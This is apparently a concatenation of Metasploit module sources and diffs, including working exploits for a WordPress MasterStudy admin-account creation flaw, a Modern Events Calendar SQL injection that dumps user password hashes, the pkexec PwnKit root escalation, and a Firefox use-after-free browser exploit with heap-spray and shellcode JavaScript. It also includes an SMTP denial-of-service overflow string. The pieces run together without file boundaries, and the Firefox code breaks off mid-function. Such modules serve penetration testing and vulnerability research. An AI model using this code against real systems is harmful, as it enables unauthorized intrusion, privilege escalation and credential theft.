include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck
require 'metasploit/framework/hashes/identify'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Wordpress MasterStudy Admin Account Creation',
'Description' => %q{
MasterStudy LMS, a WordPress plugin,
prior to 2.7.6 is affected by a privilege escalation where an unauthenticated
user is able to create an administrator account for wordpress itself.
},
'Author' => [
'h00die', # msf module
'Numan Türle', # edb
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-0441'],
['URL', 'https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6'],
['EDB', '50752'],
['WPVDB', '173c2efe-ee9c-4539-852f-c242b4f728ed']
],
'DisclosureDate' => '2022-02-18',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('USERNAME', [false, 'Username to register (blank will auto generate)', '']),
OptString.new('PASSWORD', [false, 'Password (blank will auto generate)', '']),
OptString.new('EMAIL', [false, 'Email to register (blank will auto generate)', ''])
]
)
end
def check
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('masterstudy-lms-learning-management-system', '2.7.6')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('MasterStudy LMS version not vulnerable')
end
checkcode
end
def get_username
datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
end
def get_password
datastore['PASSWORD'].blank? ? Rex::Text.rand_password : datastore['PASSWORD']
end
def get_email
datastore['EMAIL'].blank? ? Faker::Internet.email : datastore['EMAIL']
end
def run
username = get_username
password = get_password
email = get_email
res = send_request_cgi('uri' => normalize_uri(target_uri.path))
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request failed to return a successful response') unless res.code == 200
/"stm_lms_register":"(?<nonce>\w{10})"/ =~ res.body
fail_with(Failure::UnexpectedReply, 'Unabled to retrieve MasterStudy Nonce from page') if nonce.nil?
print_status("Attempting with username: #{username} password: #{password} email: #{email}")
json_post_data = JSON.pretty_generate({
'user_login' => username,
'user_email' => email,
'user_password' => password,
'user_password_re' => password,
'become_instructor' => '',
'privacy_policy' => true,
'degree' => '',
'expertize' => '',
'auditory' => '',
'additional' => [],
'additional_instructors' => [],
'profile_default_fields_for_register' => {
'wp_capabilities' => {
'value' => { 'administrator' => 1 }
}
}
})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'ctype' => 'application/json',
'vars_get' => {
'action' => 'stm_lms_register',
'nonce' => nonce
},
'data' => json_post_data
)
fail_with(Failure::Unreachable, 'Connection failed') unless res
fail_with(Failure::UnexpectedReply, 'Request Failed to return a successful response') unless res.code == 200
results = res.get_json_document
if results['status'] == 'success'
print_good('Account Created Successfully')
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: username,
private_type: :password,
private_data: password,
service_name: 'Wordpress',
address: datastore['RHOST'],
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
else
print_error("Account Creation Failed: #{results['message']}")
end
end
end
@@ -38,10 +38,10 @@ class MetasploitModule < Msf::Auxiliary
sploit = ("A" * 255 + ";") * 4 + "A" * 217 + ";" + "\x5c\xff" * 28
raw_send_recv("EHLO X\r\n")
raw_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
smtp_send_recv("EHLO X\r\n")
smtp_send_recv("MAIL FROM: #{datastore['MAILFROM']}\r\n")
print_status("Sending DoS packet.")
raw_send_recv("RCPT TO: #{sploit}\r\n")
smtp_send_recv("RCPT TO: #{sploit}\r\n")
disconnect
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+9 -1
View File
@@ -41,7 +41,15 @@ class MetasploitModule < Msf::Auxiliary
OptInt.new('MAXPAGE', [true, 'Max amount of pages to collect', 1]),
OptRegexp.new('REGEX', [true, 'Regex search for a specific IP/City/Country/Hostname', '.*'])
])
]
)
# overwriting the default user-agent. Shodan is checking it and delivering a html response when using the default ua (see #16189 and #16223)
register_advanced_options(
[
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', 'Wget/1.21.2 (linux-gnu)' ])
]
)
deregister_http_client_options
end
@@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Auxiliary::Scanner
include Msf::Exploit::SQLi
require 'metasploit/framework/hashes/identify'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Modern Events Calendar SQLi Scanner',
'Description' => %q{
Modern Events Calendar plugin contains an unauthenticated timebased SQL injection in
versions before 6.1.5. The time parameter is vulnerable to injection.
},
'Author' => [
'h00die', # msf module
'Hacker5preme (Ron Jost)', # edb
'red0xff' # sqli lib assistance
],
'License' => MSF_LICENSE,
'References' => [
[ 'EDB', '50687' ],
[ 'CVE', '2021-24946' ],
[ 'URL', 'https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md' ],
[ 'WPVDB', '09871847-1d6a-4dfe-8a8c-f2f53ff87445' ]
],
'Actions' => [
['List Users', { 'Description' => 'Queries username, password hash for COUNT users' }],
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
},
'DefaultAction' => 'List Users',
'DisclosureDate' => '2021-12-13'
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of users to enumerate', 1])
]
end
def check_host(_ip)
unless wordpress_and_online?
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('modern-events-calendar-lite', '6.1.5')
if checkcode == Msf::Exploit::CheckCode::Safe
return Msf::Exploit::CheckCode::Safe('Modern Events Calendar version not vulnerable')
end
print_good('Vulnerable version of Modern Events Calendar detected')
checkcode
end
def run_host(ip)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| # also tried encoder: :base64 and still not quite getting the right answer.
d = Rex::Text.rand_text_numeric(4)
# the webapp takes this parameter and uses it two times in the query, therefore our sleep is 2x what it should be. so we need to cut it.
payload = payload.gsub(/sleep\(\d+\.\d+\)/i, "sleep(#{datastore['SQLIDELAY'] / 2})")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => {
'action' => 'mec_load_single_page',
# taken from sqlmap
'time' => "#{Rex::Text.rand_text_numeric(1)}) AND (SELECT #{Rex::Text.rand_text_numeric(4)} FROM (SELECT(#{payload}))#{Rex::Text.rand_text_alpha(4)}) AND (#{d}=#{d}"
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
unless @sqli.test_vulnerable
fail_with Failure::PayloadFailed, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay."
end
columns = ['user_login', 'user_pass']
results = @sqli.dump_table_fields('wp_users', columns, '', datastore['COUNT'])
table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns)
results.each do |user|
create_credential({
workspace_id: myworkspace_id,
origin_type: :service,
module_fullname: fullname,
username: user[0],
private_type: :nonreplayable_hash,
jtr_format: identify_hash(user[1]),
private_data: user[1],
service_name: 'Wordpress',
address: ip,
port: datastore['RPORT'],
protocol: 'tcp',
status: Metasploit::Model::Login::Status::UNTRIED
})
table << user
end
print_good(table.to_s)
end
end
@@ -49,19 +49,21 @@ class MetasploitModule < Msf::Auxiliary
]
end
def run_host(ip)
def check_host(_ip)
unless wordpress_and_online?
vprint_error('Server not online or not detected as wordpress')
return
return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
end
checkcode = check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '5.0.1.6')
if checkcode == Msf::Exploit::CheckCode::Safe
vprint_error('RegistrationMagic version not vulnerable')
return
return Msf::Exploit::CheckCode::Safe('RegistrationMagic version not vulnerable')
end
print_good('Vulnerable version of RegistrationMagic detected')
print_good('Vulnerable version of RegistrationMagic detected')
checkcode
end
def run_host(ip)
cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Invalid login, check credentials') if cookie.nil?
+5 -5
View File
@@ -82,19 +82,19 @@ class MetasploitModule < Msf::Auxiliary
begin
connect
res = raw_send_recv("EHLO X\r\n")
res = smtp_send_recv("EHLO X\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{mailfrom}\r\n")
res = smtp_send_recv("#{mailfrom}\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{mailto}\r\n")
res = smtp_send_recv("#{mailto}\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("DATA\r\n")
res = smtp_send_recv("DATA\r\n")
vprint_status("#{res.inspect}")
res = raw_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
res = smtp_send_recv("#{Rex::Text.rand_text_alpha(rand(10)+5)}\r\n.\r\n")
vprint_status("#{res.inspect}")
if res =~ /250/
@@ -0,0 +1,254 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Local Privilege Escalation in polkits pkexec',
'Description' => %q{
A bug exists in the polkit pkexec binary in how it processes arguments. If
the binary is provided with no arguments, it will continue to process environment
variables as argument variables, but without any security checking.
By using the execve call we can specify a null argument list and populate the
proper environment variables. This exploit is architecture independent.
},
'License' => MSF_LICENSE,
'Author' => [
'Qualys Security', # Original vulnerability discovery
'Andris Raugulis', # Exploit writeup and PoC
'Dhiraj Mishra', # Metasploit Module
'bwatters-r7' # Metasploit Module
],
'DisclosureDate' => '2022-01-25',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[
'x86_64',
{
'Arch' => [ ARCH_X64 ]
}
],
[
'x86',
{
'Arch' => [ ARCH_X86 ]
}
],
[
'aarch64',
{
'Arch' => [ ARCH_AARCH64 ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PrependSetgid' => true,
'PrependSetuid' => true
},
'Privileged' => true,
'References' => [
[ 'CVE', '2021-4034' ],
[ 'URL', 'https://www.whitesourcesoftware.com/resources/blog/polkit-pkexec-vulnerability-cve-2021-4034/' ],
[ 'URL', 'https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt' ],
[ 'URL', 'https://github.com/arthepsy/CVE-2021-4034' ], # PoC Reference
[ 'URL', 'https://www.ramanean.com/script-to-detect-polkit-vulnerability-in-redhat-linux-systems-pwnkit/' ], # Vuln versions
[ 'URL', 'https://github.com/cyberark/PwnKit-Hunter/blob/main/CVE-2021-4034_Finder.py' ] # vuln versions
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PKEXEC_PATH', [ false, 'The path to pkexec binary', '' ])
])
register_advanced_options([
OptString.new('FinalDir', [ true, 'A directory to move to after the exploit completes', '/' ]),
])
end
def on_new_session(new_session)
# The directory the payload launches in gets deleted and breaks some commands
# unless we change into a directory that exists
super
old_session = @session
@session = new_session
cd(datastore['FinalDir'])
@session = old_session
end
def find_pkexec
vprint_status('Locating pkexec...')
if exists?(pkexec = cmd_exec('which pkexec'))
vprint_status("Found pkexec here: #{pkexec}")
return pkexec
end
return nil
end
def check
# Is the arch supported?
arch = kernel_hardware
unless arch.include?('x86_64') || arch.include?('aarch64') || arch.include?('x86')
return CheckCode::Safe("System architecture #{arch} is not supported")
end
# check the binary
pkexec_path = datastore['PKEXEC_PATH']
pkexec_path = find_pkexec if pkexec_path.empty?
return CheckCode::Safe('The pkexec binary was not found; try populating PkexecPath') if pkexec_path.nil?
# we don't use the reported version, but it can help with troubleshooting
version_output = cmd_exec("#{pkexec_path} --version")
version_array = version_output.split(' ')
if version_array.length > 2
pkexec_version = Rex::Version.new(version_array[2])
vprint_status("Found pkexec version #{pkexec_version}")
end
return CheckCode::Safe('The pkexec binary setuid is not set') unless setuid?(pkexec_path)
# Grab the package version if we can to help troubleshoot
sysinfo = get_sysinfo
begin
if sysinfo[:distro] =~ /[dD]ebian/
vprint_status('Determined host os is Debian')
package_data = cmd_exec('dpkg -s policykit-1')
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
vprint_status("Polkit package version = #{pulled_version}")
end
if sysinfo[:distro] =~ /[uU]buntu/
vprint_status('Determined host os is Ubuntu')
package_data = cmd_exec('dpkg -s policykit-1')
pulled_version = package_data.scan(/Version:\s(.*)/)[0][0]
vprint_status("Polkit package version = #{pulled_version}")
end
if sysinfo[:distro] =~ /[cC]entos/
vprint_status('Determined host os is CentOS')
package_data = cmd_exec('rpm -qa | grep polkit')
vprint_status("Polkit package version = #{package_data}")
end
rescue StandardError => e
vprint_status("Caught exception #{e} Attempting to retrieve polkit package value.")
end
if sysinfo[:distro] =~ /[fF]edora/
# Fedora should be supported, and it passes the check otherwise, but it just
# does not seem to work. I am not sure why. I have tried with SeLinux disabled.
return CheckCode::Safe('Fedora is not supported')
end
# run the exploit in check mode if everything looks right
if run_exploit(true)
return CheckCode::Vulnerable
end
return CheckCode::Safe('The target does not appear vulnerable')
end
def find_exec_program
return 'python' if command_exists?('python')
return 'python3' if command_exists?('python3')
return nil
end
def run_exploit(check)
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
arch = kernel_hardware
vprint_status("Detected architecture: #{arch}")
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
end
pkexec_path = datastore['PKEXEC_PATH']
if pkexec_path.empty?
pkexec_path = find_pkexec
end
python_binary = find_exec_program
# Do we have the pkexec binary?
if pkexec_path.nil?
fail_with Failure::NotFound, 'The pkexec binary was not found; try populating PkexecPath'
end
# Do we have the python binary?
if python_binary.nil?
fail_with Failure::NotFound, 'The python binary was not found; try populating PythonPath'
end
unless writable? datastore['WRITABLE_DIR']
fail_with Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable"
end
local_dir = ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
working_dir = "#{datastore['WRITABLE_DIR']}/#{local_dir}"
mkdir(working_dir)
register_dir_for_cleanup(working_dir)
random_string_1 = Rex::Text.rand_text_alpha_lower(6..12).to_s
random_string_2 = Rex::Text.rand_text_alpha_lower(6..12).to_s
@old_wd = pwd
cd(working_dir)
cmd_exec('mkdir -p GCONV_PATH=.')
cmd_exec("touch GCONV_PATH=./#{random_string_1}")
cmd_exec("chmod a+x GCONV_PATH=./#{random_string_1}")
cmd_exec("mkdir -p #{random_string_1}")
payload_file = "#{working_dir}/#{random_string_1}/#{random_string_1}.so"
unless check
upload_and_chmodx(payload_file.to_s, generate_payload_dll)
register_file_for_cleanup(payload_file)
end
exploit_file = "#{working_dir}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
write_file(exploit_file, exploit_data('CVE-2021-4034', 'cve_2021_4034.py'))
register_file_for_cleanup(exploit_file)
cmd = "#{python_binary} #{exploit_file} #{pkexec_path} #{payload_file} #{random_string_1} #{random_string_2}"
print_warning("Verify cleanup of #{working_dir}")
vprint_status("Running #{cmd}")
output = cmd_exec(cmd)
# Return to the old working directory before we delete working_directory
cd(@old_wd)
cmd_exec("rm -rf #{working_dir}")
vprint_status(output) unless output.empty?
# Return proper value if we are using exploit-as-a-check
if check
return false if output.include?('pkexec --version')
return true
end
end
def exploit
run_exploit(false)
end
end
@@ -149,7 +149,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
ehlo = datastore['EHLO']
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp = smtp_send_recv("EHLO #{ehlo}\r\n")
ehlo_resp.each_line do |line|
print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")
end
@@ -165,7 +165,7 @@ class MetasploitModule < Msf::Exploit::Remote
from << "@#{ehlo}"
to = datastore['MAILTO']
resp = raw_send_recv("MAIL FROM: #{from}\r\n")
resp = smtp_send_recv("MAIL FROM: #{from}\r\n")
resp ||= 'no response'
msg = "MAIL: #{resp.strip}"
if not resp or resp[0,3] != '250'
@@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} - #{msg}")
end
resp = raw_send_recv("RCPT TO: #{to}\r\n")
resp = smtp_send_recv("RCPT TO: #{to}\r\n")
resp ||= 'no response'
msg = "RCPT: #{resp.strip}"
if not resp or resp[0,3] != '250'
@@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("#{rhost}:#{rport} - #{msg}")
end
resp = raw_send_recv("DATA\r\n")
resp = smtp_send_recv("DATA\r\n")
resp ||= 'no response'
msg = "DATA: #{resp.strip}"
if not resp or resp[0,3] != '354'
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
message << "\r\n"
message << ".\r\n"
resp = raw_send_recv(message)
resp = smtp_send_recv(message)
msg = "DELIVER: #{resp.strip}"
if not resp or resp[0,3] != '250'
fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")
@@ -6,7 +6,7 @@
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::BrowserExploit
def initialize(info = {})
super(
@@ -35,6 +35,11 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/'],
['URL', 'https://lordofpwn.kr/cve-2019-5825-v8-exploit/'],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx'],
'DefaultTarget' => 0,
@@ -42,18 +47,9 @@ class MetasploitModule < Msf::Exploit::Remote
'DisclosureDate' => '2019-03-07'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.encoded)
jscript = %^
@@ -259,20 +255,7 @@ function exploit() {
exploit();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
jscript = add_debug_print_js(jscript)
html = %(
<html>
<head>
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::BrowserExploit
def initialize(info = {})
super(update_info(info,
@@ -38,24 +38,20 @@ class MetasploitModule < Msf::Exploit::Remote
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => '2020-02-19'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
@@ -351,20 +347,7 @@ function exp() {
exp();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
jscript = add_debug_print_js(jscript)
html = %Q^
<html>
<head>
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpServer::BrowserExploit
include Msf::Payload::Windows::AddrLoader_x64
include Msf::Payload::Windows::ReflectiveDllInject_x64
@@ -47,6 +47,11 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => [ ARCH_X64 ],
'Platform' => ['windows', 'osx', 'linux'],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'Targets' => [
[
'No sandbox escape (--no-sandbox)', {}
@@ -63,9 +68,6 @@ class MetasploitModule < Msf::Exploit::Remote
'DisclosureDate' => '2018-09-25'
)
)
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
])
deregister_options('DLL')
end
@@ -74,12 +76,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
download_payload = ''
shellcode = payload.encoded
@@ -353,21 +349,7 @@ class MetasploitModule < Msf::Exploit::Remote
pwn();
JS
if datastore['DEBUG_EXPLOIT']
debugjs = <<~JS
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
JS
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(%r{//.*$}, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
jscript = add_debug_print_js(jscript)
html = %(
<html>
<head>
@@ -0,0 +1,456 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpServer::BrowserExploit
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',
'Description' => %q{
This modules exploits CVE-2020-26950, a use after free exploit in Firefox.
The MCallGetProperty opcode can be emitted with unmet assumptions resulting
in an exploitable use-after-free condition.
This exploit uses a somewhat novel technique of spraying ArgumentsData
structures in order to construct primitives. The shellcode is forced into
executable memory via the JIT compiler, and executed by writing to the JIT
region pointer.
This exploit does not contain a sandbox escape, so firefox must be run
with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order
for the shellcode to run successfully.
This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and
Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.
Additional work may be needed to support other versions such as Firefox 82.0.1.
},
'License' => MSF_LICENSE,
'Author' => [
'360 ESG Vulnerability Research Institute', # discovery
'maxpl0it', # writeup and exploit
'timwr', # metasploit module
],
'References' => [
['CVE', '2020-26950'],
['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],
['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],
],
'Arch' => [ ARCH_X64 ],
'Platform' => ['linux', 'windows'],
'DefaultTarget' => 0,
'Targets' => [
[ 'Automatic', {}],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ],
'Stability' => [CRASH_SAFE]
},
'DisclosureDate' => '2020-11-18'
)
)
end
def create_js_shellcode
shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded
if (shellcode.length % 8 > 0)
shellcode += "\x00" * (8 - shellcode.length % 8)
end
shellcode_js = ''
for chunk in 0..(shellcode.length / 8) - 1
label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr
shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]
shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"
end
shellcode_js
end
def on_request_uri(cli, request)
print_status("Sending #{request.uri} to #{request['User-Agent']}")
shellcode_js = create_js_shellcode
jscript = <<~JS
// Triggers the vulnerability
function jitme(cons, interesting, i) {
interesting.x1 = 10; // Make sure the MSlots is saved
new cons(); // Trigger the vulnerability - Reallocates the object slots
// Allocate a large array on top of this previous slots location.
let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties cons has
// Avoid Elements Copy-On-Write by pushing a value
target.push(i);
// Write the Initialized Length, Capacity, and Length to be larger than it is
// This will work when interesting == cons
interesting.x1 = 3.476677904727e-310;
interesting.x0 = 3.4766779039175e-310;
// Return the corrupted array
return target;
}
// Initialises vulnerable objects
function init() {
// arr will contain our sprayed objects
var arr = [];
// We'll create one object...
var cons = function() {};
for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)
arr.push(cons);
// ...then duplicate it a whole bunch of times
// The number of times has two uses:
// - Heap spray - Stops any already freed objects getting in our way
// - Allows us to get the jitme function compiled
for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));
// Return the array
return arr;
}
// Global that holds the total number of objects in our original spray array
TOTAL = 0;
// Global that holds the target argument so it can be used later
arg = 0;
evil = 0;
// setup_prim - Performs recursion to get the vulnerable arguments object
// arguments[0] - Original spray array
// arguments[1] - Recursive depth counter
